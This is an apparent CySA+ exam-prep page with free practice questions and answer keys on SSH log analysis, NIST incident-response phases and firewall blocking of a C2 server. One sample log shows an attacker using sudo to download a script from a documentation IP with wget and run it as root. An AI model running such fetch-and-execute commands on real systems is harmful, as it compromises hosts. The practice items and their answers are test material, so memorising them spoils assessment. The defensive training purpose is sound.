CompTIA CySA+ PBQ Practice (CS0-004)
30 interactive performance-based questions for the CySA+ CS0-004 exam: 10 log-analysis scenarios, 10 drag-and-drops and 10 configuration tasks, covering all four exam domains. Two of each type are free with no account.
How many PBQs are on the CySA+ exam?
CompTIA doesn't publish a fixed number. Test-takers commonly report a handful of PBQs, usually at the start of the exam, and the count varies between exam forms. CS0-004 has a maximum of 85 questions in 165 minutes and a passing score of 750 on a 100–900 scale.
CySA+ PBQ types
- Log Analysis (10) — Read SIEM, firewall, endpoint, email and cloud logs and find the attack, the evidence and the right response.
- Drag & Drop (10) — Order incident-response and kill-chain steps, map techniques to ATT&CK tactics, and read CVSS vectors.
- Configuration (10) — Set up firewall rules, SIEM correlation rules, vulnerability scans, EDR containment and email security records.
Up to 2 of each type are free with no account.
Free CySA+ PBQ examples
Log Analysis · Security Operations
SSH brute force followed by a successful login
The SIEM raised an alert on web01, an internet-facing Linux server. Review the authentication log.
Oct 26 02:14:01 web01 sshd[2211]: Failed password for invalid user admin from 203.0.113.45 port 51122 ssh2
Oct 26 02:14:03 web01 sshd[2213]: Failed password for root from 203.0.113.45 port 51130 ssh2
Oct 26 02:14:05 web01 sshd[2215]: Failed password for invalid user test from 203.0.113.45 port 51141 ssh2
... 214 more "Failed password" lines from 203.0.113.45 ...
Oct 26 02:16:44 web01 sshd[2290]: Accepted password for deploy from 203.0.113.45 port 51388 ssh2
Oct 26 02:17:02 web01 sudo: deploy : TTY=pts/0 ; PWD=/home/deploy ; USER=root ; COMMAND=/usr/bin/wget http://198.51.100.23/x.sh -O /tmp/x.sh
Oct 26 02:17:09 web01 sudo: deploy : TTY=pts/0 ; PWD=/home/deploy ; USER=root ; COMMAND=/bin/bash /tmp/x.sh
- What attack does the log show? (Password brute force against SSH / SQL injection / Pass-the-hash / Privilege escalation via kernel exploit)
- Which account was compromised? (root / admin / deploy / test)
- What shows the attacker acted after logging in? (Repeated failed passwords / sudo used to download and run a script as root / The SSH port number / Invalid user names)
- Best immediate containment step? (Isolate web01 and disable the deploy account / Wait for the next scheduled scan / Increase SSH log verbosity / Email the user to change their password)
Show answer and explanation
- Password brute force against SSH
- deploy
- sudo used to download and run a script as root
- Isolate web01 and disable the deploy account
Hundreds of failed passwords from one address followed by an accepted password is a successful brute force. The attacker then used the deploy account's sudo rights to download and execute a script as root, so the host must be treated as compromised: isolate it, disable the account, block 203.0.113.45 and 198.51.100.23, and investigate /tmp/x.sh. Long term: key-based SSH only, no password logins, and fail2ban or equivalent.
Drag & Drop · Incident Response and Management
Incident-response actions by phase (NIST SP 800-61 Rev. 2)
Match each analyst action to the phase of the NIST SP 800-61 Rev. 2 incident-response lifecycle it belongs to.
Match each item to one of: Preparation · Detection & Analysis · Containment, Eradication & Recovery · Post-Incident Activity
- Write and test ransomware playbooks
- Triage a SIEM alert and confirm it is real
- Isolate an infected host from the network
- Remove malware and rebuild the server
- Restore data from clean backups
- Hold a lessons-learned meeting
Show answer and explanation
- Write and test ransomware playbooks → Preparation
- Triage a SIEM alert and confirm it is real → Detection & Analysis
- Isolate an infected host from the network → Containment, Eradication & Recovery
- Remove malware and rebuild the server → Containment, Eradication & Recovery
- Restore data from clean backups → Containment, Eradication & Recovery
- Hold a lessons-learned meeting → Post-Incident Activity
Rev. 2 groups containment, eradication and recovery into one phase. Playbooks are preparation; confirming an alert is detection and analysis; lessons learned feed back into preparation as post-incident activity. (Rev. 3, published in 2025, reorganises guidance around the NIST CSF 2.0 functions, but the Rev. 2 lifecycle is still the common exam framing.)
Configuration · Incident Response and Management
Block a command-and-control server at the firewall
Threat intelligence confirms 198.51.100.23 is a C2 server contacted by an infected workstation. Add a perimeter firewall rule that stops any internal host reaching it. The rule base ends with an "allow any outbound" rule.
Internal 10.0.0.0/8 → perimeter firewall → internet · C2 server 198.51.100.23 · last rule: allow any outbound
- Action: Deny / Allow / Log only / Rate-limit
- Direction: Outbound (internal → internet) / Inbound (internet → internal) / Internal only / Both, inbound first
- Destination: 198.51.100.23 / 10.0.0.0/8 / Any / The infected workstation only
- Rule position: Above the allow-any outbound rule / Below the allow-any outbound rule / Anywhere; order doesn't matter / In a separate disabled rule set
Show answer and explanation
- Action: Deny
- Direction: Outbound (internal → internet)
- Destination: 198.51.100.23
- Rule position: Above the allow-any outbound rule
Firewall rules are processed top-down with first match winning, so a deny placed below "allow any" never triggers. Block all internal sources, not just the known infected host, because other hosts may be compromised too.
What CySA+ PBQs test in each CS0-004 domain
Security Operations (34%)
Reading SIEM, endpoint, network and email logs; spotting brute force, phishing, beaconing and malicious scripts; mapping activity to ATT&CK.
Vulnerability Management (26%)
Configuring scans, reading scan output and CVSS vectors, ruling out false positives, and prioritising fixes by exposure and exploitation.
Incident Response and Management (24%)
Ordering incident-response steps, choosing containment actions, preserving evidence, and identifying attacker persistence.
Reporting and Communication (16%)
Choosing metrics such as MTTD and MTTR, deciding who to notify and how, and writing findings for the right audience.
Exam-day PBQ strategy
- Flag the PBQs at the start, answer the multiple-choice questions, then come back with the time you have left.
- In log PBQs, read timestamps and source addresses first: most scenarios hinge on what happened right before and right after one event.
- Separate evidence from noise: a single failed logon is normal, 200 in two minutes from one address is not.
- Pick the action that matches the incident-response phase the question is in — don't jump to eradication when it asks for containment.
CySA+ PBQ Practice: Frequently Asked Questions
What are CySA+ PBQs?
Performance-based questions (PBQs) are interactive CySA+ tasks. Instead of picking one answer, you analyse logs and tool output, put steps in order, or complete a configuration to show you can do the analyst's job.
How many PBQs are on the CySA+ exam?
CompTIA doesn't publish a fixed number. Test-takers commonly report a handful of PBQs, usually at the start of the exam, and the count varies between exam forms. CS0-004 has a maximum of 85 questions in 165 minutes and a passing score of 750 on a 100–900 scale.
What do CySA+ PBQs look like?
Expect log and tool-output analysis (SIEM events, firewall and proxy logs, vulnerability scan results, email headers), ordering or matching tasks (incident-response steps, ATT&CK tactics, CVSS metrics), and configuration tasks such as firewall or detection rules.
Are these PBQs for CS0-004 or CS0-003?
They are written against the CS0-004 objectives and domains. The underlying analyst skills — log analysis, vulnerability prioritisation, incident response — are the same ones CS0-003 tested, so they are useful for either version.
Are these CySA+ PBQs free?
Two of each type (6 in total) are free with no account. The other 24, with saved progress, are part of FlashGenius Premium.